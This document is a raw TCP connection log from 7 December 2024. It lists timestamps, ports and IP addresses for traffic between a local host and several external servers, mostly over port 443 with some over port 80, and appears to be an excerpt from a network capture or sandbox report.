Dec 7, 2024 22:40:21.293780088 CET	49733	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.293785095 CET	443	49733	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.295270920 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.295275927 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.295285940 CET	49729	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.295289993 CET	443	49729	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.296627998 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.296642065 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.296653986 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.296658993 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.306061029 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.306087017 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.306108952 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.306142092 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.306162119 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.306200027 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.307337046 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.307353020 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.307396889 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.308831930 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.308839083 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.308880091 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.309133053 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.309145927 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.309267044 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.309283972 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.309392929 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.309403896 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.309891939 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.309900999 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.311153889 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.311175108 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.311239958 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.311357975 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:21.311371088 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:21.394195080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:21.394824028 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:21.394892931 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:21.395139933 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:21.430984974 CET	443	49735	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:21.431253910 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:21.431263924 CET	443	49735	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:21.431612968 CET	443	49735	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:21.431924105 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:21.431992054 CET	443	49735	142.250.181.68	192.168.2.6
Dec 7, 2024 22:40:21.479773998 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:21.514584064 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:21.581882954 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:21.581897020 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:21.582010031 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:21.583347082 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:21.583359003 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:21.683782101 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:21.683845997 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:21.685437918 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:21.685442924 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:21.685694933 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:21.729298115 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:21.743024111 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:21.787334919 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.070466042 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.070538998 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.072774887 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.072781086 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.073024035 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.077033997 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.077203989 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.077210903 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.077281952 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.119329929 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.196103096 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.196182013 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.196259022 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:22.196405888 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:22.196414948 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.196428061 CET	49739	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:22.196433067 CET	443	49739	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.250701904 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:22.250737906 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.250821114 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:22.251216888 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:22.251230955 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:22.307960033 CET	49754	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:22.307991028 CET	443	49754	172.217.19.206	192.168.2.6
Dec 7, 2024 22:40:22.308032990 CET	49754	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:22.308330059 CET	49754	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:22.308343887 CET	443	49754	172.217.19.206	192.168.2.6
Dec 7, 2024 22:40:22.750056028 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.750349998 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.750412941 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.751200914 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:22.751216888 CET	443	49736	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:22.751228094 CET	49736	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:23.024611950 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.025845051 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.025852919 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.026905060 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.026911020 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.029504061 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.029505014 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.029531956 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.029906988 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.029913902 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.030400991 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.030405045 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.030734062 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.030744076 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.030869007 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.030883074 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.031137943 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.031156063 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.031490088 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.031496048 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.054721117 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.055058956 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.055079937 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.055457115 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.055463076 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.248804092 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:23.248857021 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:23.264401913 CET	49755	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:23.264419079 CET	443	49755	172.217.19.206	192.168.2.6
Dec 7, 2024 22:40:23.264493942 CET	49755	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:23.264743090 CET	49755	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:23.264754057 CET	443	49755	172.217.19.206	192.168.2.6
Dec 7, 2024 22:40:23.343431950 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:23.343497038 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:23.346862078 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:23.346865892 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:23.347126007 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:23.356039047 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:23.366035938 CET	49755	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:23.389394999 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:23.435828924 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:23.435908079 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:23.458653927 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.458720922 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.458899021 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.459605932 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:23.459635973 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:23.459960938 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:23.462100983 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:23.462202072 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:23.462205887 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:23.462344885 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:23.463325024 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.463376999 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.463469028 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.463486910 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.463520050 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.463573933 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.465027094 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.465082884 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.465131044 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.474899054 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:23.475452900 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:23.475641012 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.475641012 CET	49744	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.475652933 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.475656986 CET	443	49744	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.477468014 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.477478981 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.477514029 CET	49746	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.477519989 CET	443	49746	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.478768110 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.478768110 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.478785038 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.478796005 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.480524063 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.480540991 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.480586052 CET	49745	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.480592012 CET	443	49745	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.487967968 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.488003016 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.488078117 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.488789082 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.488843918 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.488929033 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.489439011 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.489454985 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.489547968 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.491300106 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.491309881 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.491384983 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.494904041 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.494918108 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.495547056 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.495563984 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.495933056 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.495946884 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.497253895 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.497265100 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.498214960 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.498224020 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.498277903 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.498419046 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.498435974 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.507339954 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:23.509692907 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.509717941 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.509910107 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.513600111 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:23.513611078 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:23.515352011 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:23.519052982 CET	49754	443	192.168.2.6	172.217.19.206
Dec 7, 2024 22:40:23.519783020 CET	49735	443	192.168.2.6	142.250.181.68
Dec 7, 2024 22:40:23.627892971 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:23.627968073 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:23.629503012 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:23.629511118 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:23.629760981 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:23.630831003 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:23.671334982 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:24.015899897 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:24.016122103 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:24.016180992 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:24.016275883 CET	49740	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:24.016298056 CET	443	49740	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:24.061048031 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.061069965 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.061077118 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.061091900 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.061121941 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.061131001 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.061146975 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.061172009 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.061203003 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.083655119 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.083724022 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.083734989 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.083749056 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.083786964 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.087084055 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.087093115 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.091087103 CET	49749	443	192.168.2.6	4.175.87.197
Dec 7, 2024 22:40:24.091093063 CET	443	49749	4.175.87.197	192.168.2.6
Dec 7, 2024 22:40:24.144002914 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:24.144115925 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:24.144170046 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:24.178914070 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:24.178930044 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:24.178941011 CET	49751	443	192.168.2.6	23.218.208.109
Dec 7, 2024 22:40:24.178946018 CET	443	49751	23.218.208.109	192.168.2.6
Dec 7, 2024 22:40:24.290013075 CET	80	49743	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:24.290222883 CET	49743	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:25.210953951 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.211170912 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.212367058 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.215095997 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.224661112 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.224687099 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.225462914 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.225469112 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.227855921 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.227864027 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.228946924 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.228982925 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.228987932 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.230472088 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.230482101 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.230874062 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.230882883 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.231600046 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.231600046 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.231625080 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.231635094 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.232036114 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.232059002 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.235076904 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.235083103 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.644999981 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.645093918 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.645117998 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.645155907 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.645198107 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.645255089 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.646034956 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.646126986 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.646173000 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.649027109 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.649087906 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.649133921 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.663053989 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.663110971 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.663166046 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.725826025 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.725846052 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.725857973 CET	49757	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.725863934 CET	443	49757	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.730074883 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.730074883 CET	49760	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.730099916 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.730110884 CET	443	49760	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.730792046 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.730792046 CET	49756	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.730812073 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.730825901 CET	443	49756	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.731496096 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.731502056 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.731527090 CET	49758	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.731534004 CET	443	49758	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.757205963 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.757224083 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.757235050 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.757240057 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.842431068 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.842467070 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.842566013 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.842976093 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.843010902 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.843065023 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.843950987 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.843992949 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.844060898 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.844141006 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.844157934 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.844306946 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.844321966 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.844960928 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.844994068 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.845067024 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.845186949 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.845199108 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.846273899 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.846288919 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.846360922 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.847240925 CET	49764	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.847251892 CET	443	49764	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:25.849776983 CET	49766	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:25.849786997 CET	443	49766	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.557921886 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.558655977 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.558684111 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.559182882 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.559289932 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.559295893 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.559596062 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.559607029 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:27.560070992 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:27.560086012 CET	443	49762	13.107.246.63	192.168.2.6
